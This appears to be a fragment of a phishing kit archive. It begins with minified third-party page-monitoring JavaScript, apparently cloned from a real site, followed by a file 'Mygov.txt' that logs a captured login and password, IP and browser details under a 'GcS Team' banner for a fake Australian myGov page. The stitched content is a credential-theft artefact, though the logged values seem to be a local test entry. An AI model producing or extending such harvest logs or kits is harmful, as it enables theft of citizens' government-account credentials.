"string"===typeof V.innerText))qa=qa.getBoundingClientRect(),lb=!(0>qa.right||qa.left>(window.innerWidth||document.documentElement.clientWidth)||0>qa.bottom||qa.top>(window.innerHeight||document.documentElement.clientHeight));if(lb){eb=S.dT_.nw();break}}}function Pa(){La();ja&&!H?gb():!ja&&H&&(S.dT_.rBPSL(Ea),S.dT_.rO("deadClickObserver"),S.dT_.rel(document,"click",db,void 0),C=[],H=!1,eb=-1)}function za(){if(Q=S.dT_.bcv("uxrgce")){var ib=S.dT_.scv("uxrgcm").split(";"),aa=ib[1];ia=ab(ib[0]);ab(aa)}}
function ab(ib){ib=ib.split(",");return{aj:Number(ib[0])||100,jj:Number(ib[1])||25,Ji:Number(ib[2])||300,Fi:Number(ib[3])||3}}function ba(ib){return{x:ib.x||ib.clientX,y:ib.y||ib.clientY,timeStamp:S.dT_.nw()}}function Z(){S.dT_.iMD()||(S.dT_.aBPSL(ta),S.dT_.ael(document,"click",na),S.dT_.ael(document,"mousedown",Aa),W=!0)}function Aa(ib){ua=ba(ib)}function na(ib){ib=ba(ib);if(0===Ka.length)Ka.push(ib);else{var aa=Ka[0],qa=Ka[Ka.length-1];if(qa=ib&&qa?ib.timeStamp-qa.timeStamp<=ia.Ji:!1)qa=ia.jj,qa=
Math.abs(aa.x-ib.x)<=qa&&Math.abs(aa.y-ib.y)<=qa;qa&&ib&&ua&&ib.timeStamp-ua.timeStamp<=ia.aj?(Ka.push(ib),Ma()):(Ka.length>=ia.Fi&&Ja(),Ka=[ib])}}function ta(ib,aa,qa,V){if(0!==Hb.length){aa=ib.av;qa=Hb;for(var pa=[],Va=0;Va<qa.length;Va++){var nb=qa[Va];pa.push(nb.bj+"|"+nb.Gi.toFixed()+"|"+nb.duration.toFixed())}aa.call(ib,V,"rC",pa.join(","),!0);Hb=[]}}function Ma(){S.dT_.ct(la);la=S.dT_.st(function(){Ka.length>=ia.Fi&&Ja()},ia.Ji)}function Ja(){var ib=Ka[0];ib={bj:Ka.length,Gi:Math.round(ib.timeStamp),
duration:Math.round(Ka[Ka.length-1].timeStamp-ib.timeStamp)};0<ib.Gi&&0<ib.duration&&(Hb.push(ib),S.dT_.sMPS(2E3));Ka=[]}function fa(){za();Q&&!W?Z():!Q&&W&&(S.dT_.rBPSL(ta),S.dT_.rel(document,"click",na,void 0),S.dT_.rel(document,"mousedown",Aa,void 0),Ka=[],Hb=[],W=!1)}var S="undefined"!==typeof window?window:self,va="undefined"!==typeof window?window:self,ja,U,eb=-1,L,C=[],H=!1,Q,ia,W=!1,la,ua,Ka=[],Hb=[];(function(){var ib,aa;return va.dT_&&(null===(aa=(ib=S.dT_).smbi)||void 0===aa?void 0:aa.call(ib,
"u"))})()&&(za(),Q&&Z(),ra(fa),La(),ja&&gb(),ra(Pa))})()})();
(function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){if(!ra.hasCache){ra.hasCache=!0;var q=void 0;if("defineProperty"in Object){var D={Me:41};try{Object.defineProperty(D,"Z",{get:function(){return this.Me},set:function(t){this.Me=t}}),D.Z=42,q=42===D.Me}catch(t){q=!1}}else q=!1;ra.cachedVal=q}return!!ra.cachedVal}function La(q,D,t){if(t||2===arguments.length)for(var y=0,Y=D.length,x;y<Y;y++)!x&&y in
D||(x||(x=Array.prototype.slice.call(D,0,y)),x[y]=D[y]);return q.concat(x||Array.prototype.slice.call(D))}function gb(){}function db(q){var D=!1;try{D=!V.dT_.iNF(q)}catch(Y){}if(!D)for(var t=0,y=Ab;t<y.length&&!(D=(D=q.prototype[y[t]])&&!V.dT_.iNF(D));t++);return D?(V.dT_.addE("DEBUG_INFO_REQUESTED",function(){return{type:"lxw",text:"Found a non-native XMLHttpRequest object before initializing! Basic XHR is operating in late mode.",severity:"Warning"}}),!0):!1}function Ea(q){if(!ra()){var D=q.dtProps;
try{a:{var t=D.I,y=D.ba,Y=t.responseXML;if(ca){var x=t.getResponseHeader("Content-Type");if(pa.ActiveXObject&&Y&&!Y.documentElement&&x&&x.match(/[^\/]+\/[^+]+\+xml/)){var oa=new pa.ActiveXObject("Microsoft.XMLDOM");oa.loadXML&&oa.loadXML(t.responseText);var R=oa.parseError;if(R&&0!==R.errorCode||oa.documentElement&&"parsererror"===oa.documentElement.tagName){if(V.dT_.mx())try{V.dT_.mxp(R?R.reason:"",y)}catch(wa){}var O=Y;break a}Y=oa}}O=Y}q.responseXML=O}catch(wa){}O=0;for(t=lb;O<t.length;O++){y=
t[O];try{"responseXML"!==y&&y in D.I&&(q[y]=D.I[y])}catch(wa){}}}}function Ua(q,D){q=q.dtProps.Ea;var t=[];D=D.substring(2);for(var y=0;y<q.length;y++){var Y=q[y];Y[0]===D&&t.push(Y[1])}return t}function Pa(q,D,t){function y(O){function wa(Ga,Wa){try{t?(V.dT_.ec(t.dtProps.ba),t.dtProps.za++):(V.dT_.ec(q.dtProps.ba),q.dtProps.za++,O in{onerror:0,onload:1,onprogress:2}&&Ea(q)),"object"===typeof Wa&&Wa.handleEvent?Za.handleEventCallback(Wa.handleEvent,Wa,Ga):Za.handleEventCallback(Wa,q,Ga)}finally{t?
(t.dtProps.za--,V.dT_.lc(t.dtProps.ba)):(q.dtProps.za--,V.dT_.lc(q.dtProps.ba))}}try{D[O]=function(Ga){var Wa=Array.prototype.slice.call(arguments);if(0<Wa.length){var Eb=ab(Ga,q);V.dT_.fE(Va,function(rc){"undefined"!==typeof Ga[rc]&&(Eb[rc]=Ga[rc])});Wa[0]=Eb}var Lb=q.dtProps;if(V.dT_.mx()&&O in Y)Y[O](Lb.ba);var Nb=Lb[O]||Oa&&q[O];Nb&&wa(Wa,Nb);Nb=0;for(var ac=Ua(q,O);Nb<ac.length;Nb++)wa(Wa,ac[Nb]);ca&&"ontimeout"===O&&V.dT_.st(function(){Lb.uc&&1===Lb.hc&&V.dT_.lx(Lb.ba,void 0,void 0,void 0,"x")},
0)}}catch(Ga){}}for(var Y={onerror:function(){t?V.dT_.mxg("Upload failure",t.dtProps.ba):V.dT_.mxf(q.dtProps.I.status,q.dtProps.I.statusText,q.dtProps.ba)},onabort:V.dT_.mxc,ontimeout:V.dT_.mxt},x=0,oa=nb;x<oa.length;x++){var R=oa[x];try{if(R in D||Oa&&R in q)V.dT_.bcv("raxeh")?y(R):(Ua(q,R).length||q[R])&&y(R)}catch(O){}}}function za(q,D,t){Object.defineProperty(q,D,{enumerable:!0,get:t})}function ab(q,D){var t=q.timeStamp||V.dT_.nw(),y="undefined"===typeof q.eventPhase?2:q.eventPhase,Y=q.stopPropagation||
gb,x=q.stopImmediatePropagation||gb,oa=q.preventDefault||gb,R=q.initEvent||gb;if(ra())try{var O=document.createEvent("Event");O.initEvent(q.type,q.bubbles||!1,q.cancelable||!1);za(O,"target",function(){return D});za(O,"currentTarget",function(){return D});za(O,"srcElement",function(){return D});za(O,"eventPhase",function(){return y});za(O,"timeStamp",function(){return t});za(O,"stopPropagation",function(){return Y});za(O,"stopImmediatePropagation",function(){return x});za(O,"preventDefault",function(){return oa});
za(O,"initEvent",function(){return R});return O}catch(wa){}return{type:q.type,target:D,currentTarget:D,srcElement:D,eventPhase:y,bubbles:q.bubbles||!1,cancelable:q.cancelable||!1,timeStamp:t,stopPropagation:Y,stopImmediatePropagation:x,preventDefault:oa,initEvent:R}}function ba(q,D){try{var t=V.dT_.gPO(q),y=V.dT_.gPO(q.dtProps.I);y||(y=vb.prototype);return!t||!y||"__dtProto"in t[D]?null:t[D]}catch(Y){return null}}function Z(q){return V.dT_.iIO(q,["dtProps"])}function Aa(q){q.UNSENT=0;q.OPENED=1;q.HEADERS_RECEIVED=
2;q.LOADING=3;q.DONE=4}function na(q){if(ra())"upload"===q?Object.defineProperty(pa.XMLHttpRequest.prototype,"upload",{enumerable:!0,configurable:!0,get:function(){if(!this.dtProps.Kc)return vb.prototype.upload;this.dtProps.upload||(this.dtProps.upload=new I(this));return this.dtProps.upload}}):Object.defineProperty(pa.XMLHttpRequest.prototype,q,{enumerable:!0,configurable:!0,get:function(){return this.dtProps.Kc?0<=V.dT_.aIOf(lb,q)?this.dtProps.I[q]:this.dtProps[q]:vb.prototype[q]},set:function(D){this.dtProps.Kc?
this.dtProps[q]=D:vb.prototype[q]=D}});else try{pa.XMLHttpRequest.prototype[q]=void 0}catch(D){}}function ta(q,D){var t=pa.XMLHttpRequest.prototype[q];if(D||V.dT_.iNF(t))pa.XMLHttpRequest.prototype[q]=function(y,Y){function x(){if(Z(this)){"open"!==y||this.dtProps.url||(this.dtProps.url=arguments[1]+"");this.dtProps.I.withCredentials!==this.dtProps.withCredentials&&(this.dtProps.I.withCredentials=this.dtProps.withCredentials);var oa=this.dtProps.I}else oa=this;return Za.XMLHttpRequestCallback(Y,oa,
arguments)}x.__dtProto=!0;return x}(q,vb.prototype[q])}function Ma(){vb=pa.XMLHttpRequest;ca=11>V.dT_.gBI().ie;yb=Zb.ct||clearTimeout;if(pa.XMLHttpRequest&&(pa.XMLHttpRequest=Ba,vb.prototype)){Oa=db(vb);if(Object.create){var q=Object,D=q.create,t=vb.prototype;var y=vb.prototype;if(Object.getOwnPropertyDescriptors)y=Object.getOwnPropertyDescriptors(y);else{for(var Y={},x=0,oa=Object.getOwnPropertyNames(y);x<oa.length;x++){var R=oa[x],O=Object.getOwnPropertyDescriptor(y,R);O&&(Y[R]=O)}y=Y}Ba.prototype=
D.call(q,t,y)}else Ba.prototype.__proto__=V.dT_.gPO(vb.prototype);Ba.prototype.dtProps={Kc:!1};Ba.prototype.dtProps.Kc=!1;Aa(Ba);Aa(Ba.prototype);for(var wa in vb.prototype)if(-1===V.dT_.aIOf(gc,wa))try{-1!==V.dT_.aIOf(Ab,wa)?ta(wa,!0):-1!==V.dT_.aIOf(jb,wa)?na(wa):pa.XMLHttpRequest.prototype[wa]=vb.prototype[wa]}catch(Wa){na(wa)}for(var Ga in vb)if(!(Ga in vb.prototype))try{pa.XMLHttpRequest[Ga]=vb[Ga]}catch(Wa){}try{Ja()}catch(Wa){}}V.dT_.ael(pa,"unload",fa)}function Ja(){if(!V.dT_.bcv("peti")){if(pa.EventTarget)var q=
EventTarget.prototype;q&&q.addEventListener||!pa.XMLHttpRequestEventTarget||(q=V.dT_.gPO(pa.XMLHttpRequestEventTarget.prototype));q&&q.addEventListener||(q=XMLHttpRequest.prototype);if(q&&q.addEventListener){var D=q.addEventListener;q.addEventListener=function(Y,x,oa){if(Z(this))this.dtProps.mf(Y,x,oa);else return Za.AELWrapper(D,this,arguments)};var t=q.removeEventListener;q.removeEventListener=function(Y,x,oa){if(Z(this))this.dtProps.og(Y,x,oa);else return Za.RELWrapper(t,this,arguments)};var y=
q.dispatchEvent;q.dispatchEvent=function(Y){return Z(this)?this.dtProps.Zd(Y):Za.dispatchWrapper(y,this,arguments)}}}}function fa(){pa.XMLHttpRequest=vb;vb=null;ca=!1;yb=void 0;Oa=!1}function S(q,D){return new $a(q,D)}function va(q){return"string"===typeof q}function ja(q){q.ne||(V.dT_.lx(q.G,q.url,!0,void 0,"x"),q.ne=!0)}function U(q){var D=q.G,t=q.url;return Zb.aWF(q.Da,q.context,q.Pa,void 0===D?0:D,void 0===t?"":t,"x")}function eb(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=
arguments[Y];Y=q.G;var x=q.url;try{if(V.dT_.ec(Y),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:Y,url:x})}finally{V.dT_.lc(Y),ja(q)}}}function L(q,D,t){return{get:function(){return t||q[D]},enumerable:!0}}function C(q,D,t,y){return function(){for(var Y=[],x=0;x<arguments.length;x++)Y[x]=arguments[x];try{V.dT_.ec(q.G);var oa=Y[0],R=document.createEvent("Event");R.initEvent(oa.type,oa.bubbles,oa.cancelable);var O=L(oa,"target",y);Object.defineProperties(R,{target:O,currentTarget:O,srcElement:O,
stopPropagation:L(oa,"stopPropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopPropagation.apply(oa,wa);return Event.prototype.stopPropagation.apply(R,wa)}),stopImmediatePropagation:L(oa,"stopImmediatePropagation",function(){for(var wa=[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.stopImmediatePropagation.apply(oa,wa);return Event.prototype.stopImmediatePropagation.apply(R,wa)}),preventDefault:L(oa,"preventDefault",function(){for(var wa=
[],Ga=0;Ga<arguments.length;Ga++)wa[Ga]=arguments[Ga];Event.prototype.preventDefault.apply(oa,wa);return Event.prototype.preventDefault.apply(R,wa)}),eventPhase:L(oa,"eventPhase","undefined"===typeof oa.eventPhase?2:void 0),timeStamp:L(oa,"timeStamp",oa.timeStamp||V.dT_.nw()),initEvent:L(oa,"initEvent")});Y[0]=R;if("function"===typeof D)return U({Da:D,context:oa.target,Pa:Y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G)}}}function H(q,D,t){return function(){for(var y=[],Y=0;Y<arguments.length;Y++)y[Y]=arguments[Y];
try{if(V.dT_.ec(q.G),t.readyState===t.DONE&&V.dT_.mx()&&200!==t.status&&(0===t.status?V.dT_.st(V.dT_.mxc.bind(null,q.G),0):V.dT_.mxf(t.status,t.statusText,q.G)),"function"===typeof D)return U({Da:D,context:t,Pa:y,G:q.G,url:q.url})}finally{V.dT_.lc(q.G),t.readyState===t.DONE&&ja(q)}}}function Q(q,D){try{if("string"===typeof D&&"function"===typeof q[D]){var t=V.dT_.iNF(q[D]);q[D]=S(q[D],{apply:la.bind(null,D,t),get:function(y,Y,x){return"dT_proxy"===Y?!0:Reflect.get(y,Y,x)}})}}catch(y){}}function ia(q,
D){q.filter(ua.bind(null,D)).forEach(Q.bind(null,D))}function W(q,D,t,y,Y){q.G||(q.G=V.dT_.ex("x",void 0,q.url,!1,D));var x=V.dT_.sch({headers:{}},q.url,q.G);Reflect.ownKeys(x.headers).filter(va).forEach(function(oa){t.setRequestHeader(oa,x.headers[oa])});try{return U({Da:D,context:y,Pa:Y,G:q.G,url:q.url})}finally{q.async||ja(q)}}function la(q,D,t,y,Y){if(!V.dT_.iIO(y,22))return U({Da:t,context:y,Pa:Y});var x=y.dtProps,oa=y;x&&(D||Cb)&&(oa=x.target);if(!x)return U({Da:t,context:oa,Pa:Y});switch(D?
t.name:q){case "addEventListener":"function"===typeof Y[1]&&(q=Y[1],q.dT_cb?Y[1]=q.dT_cb:(Y[1]=C(x,q,oa,y),q.dT_cb=Y[1]));break;case "removeEventListener":y=Y[1];if(null===y||void 0===y?0:y.dT_cb)Y[1]=y.dT_cb;break;case "open":return x.G=0,x.ne=!1,x.url=Y[1],x.async=!0===Y[2]||void 0===Y[2],U({Da:t,context:oa,Pa:Y});case "send":return W(x,t,y,oa,Y);case "abort":ja(x)}return U({Da:t,context:oa,Pa:Y,G:x.G,url:x.url})}function ua(q,D){try{var t=q[D];if("function"!==typeof t||t.dT_proxy)return!1}catch(y){return!1}return!0}
function Ka(q){return"constructor"!==q}function Hb(q,D,t){"upload"===D&&V.dT_.mx()&&!t.Tf&&(q.upload.addEventListener("error",function(){V.dT_.mxg("Upload failure",t.G)}),t.Tf=!0);return t.Mc.has(D)?t.Mc.get(D):Reflect.get(q,D)}function ib(q,D,t){try{EventTarget.prototype.addEventListener.call(q,D,t)}catch(y){q.addEventListener(D,t)}}function aa(q){var D={G:0,async:!0,ne:!1,url:"",target:q,xj:!1,Tf:!1,Mc:new Map,toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};
q.dtProps=D;ib(q,"readystatechange",H(D,function(){},q));V.dT_.mx()&&(ib(q,"error",function(){return V.dT_.mxf(q.status,q.statusText,D.G)}),ib(q,"abort",function(){return V.dT_.mxc(D.G)}),ib(q,"timeout",function(){return V.dT_.mxt(D.G)}));return S(q,{get:function(t,y){return Hb(t,y,D)},set:function(t,y,Y,x){try{var oa=Y;switch(y){case "onabort":case "onerror":case "ontimeout":oa=eb(D,Y,t);D.Mc.set(y,Y);break;case "onloadstart":case "onprogress":case "onload":case "onloadend":oa=C(D,Y,t,x);D.Mc.set(y,
Y);break;case "onreadystatechange":oa=H(D,Y,t),D.Mc.set(y,Y)}var R=Reflect.set(t,y,oa)}catch(O){R=!1}return R}})}function qa(){Cb=db(pa.XMLHttpRequest);$a=pa.Proxy;var q=pa.XMLHttpRequest.prototype,D=EventTarget.prototype,t=Reflect.ownKeys(q).filter(va).filter(Ka),y=Reflect.ownKeys(D).filter(va).filter(Ka);pa.XMLHttpRequest=S(pa.XMLHttpRequest,{construct:function(Y,x){ia(t,q);ia(y,D);return aa(Reflect.construct(Y,x))}});ia(t,q);q.constructor=pa.XMLHttpRequest;ia(y,D)}var V="undefined"!==typeof window?
window:self,pa="undefined"!==typeof window?window:self,Va="cancelBubble defaultPrevented eventPhase isTrusted lengthComputable loaded position returnValue timeStamp total totalSize type".split(" "),nb="onabort onerror onload onloadend onloadstart onprogress ontimeout".split(" "),lb="responseText response status statusText responseBody responseStream responseURL responseXML responseType".split(" "),jb=La(La(La([],lb,!0),nb,!0),["onreadystatechange","upload","readyState"],!1),Ab="open send getAllResponseHeaders getResponseHeader setRequestHeader overrideMimeType abort sendAsBinary".split(" "),
gc=["addEventListener","removeEventListener","dispatchEvent"],Vb=La(La(La([],Ab,!0),jb,!0),gc,!0),Ha,yb,vb,ca,Oa=!1,Za=(Ha={},Ha.handleEventCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.callOpen=function(q,D,t){return Zb.aWF(q,D,t)},Ha.send=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getAllResponseHeaders=function(q,D,t){return Zb.aWF(q,D,t)},Ha.getResponseHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.setRequestHeader=function(q,D,t){return Zb.aWF(q,D,t)},Ha.overrideMimeType=function(q,D,t){return Zb.aWF(q,
D,t)},Ha.RELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.AELWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchWrapper=function(q,D,t){return Zb.aWF(q,D,t)},Ha.onreadystatechangeCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.dispatchXHRCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.XMLHttpRequestCallback=function(q,D,t){return Zb.aWF(q,D,t)},Ha.preventDefault=function(q,D,t){return Zb.aWF(q,D,t)},Ha.stopImmediatePropagation=function(q,D,t){return Zb.aWF(q,D,t)},Ha),I=function(){function q(D){var t=
this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]===
O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation=
function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1===
V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O?
O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab,
100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0;
ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa,
"unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga=
x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange?
x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange",
bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType},
set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R,
O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R);
return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&&
(x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase():
R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd,
"x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})();
mygov/app/rez/Mygov.txt000064400000003400151676702570011144 0ustar00::1  -  2022-10-05 @ 21:24:04
[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
|Email or Phone      : ZD654123
|Password        : qsdsdq
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
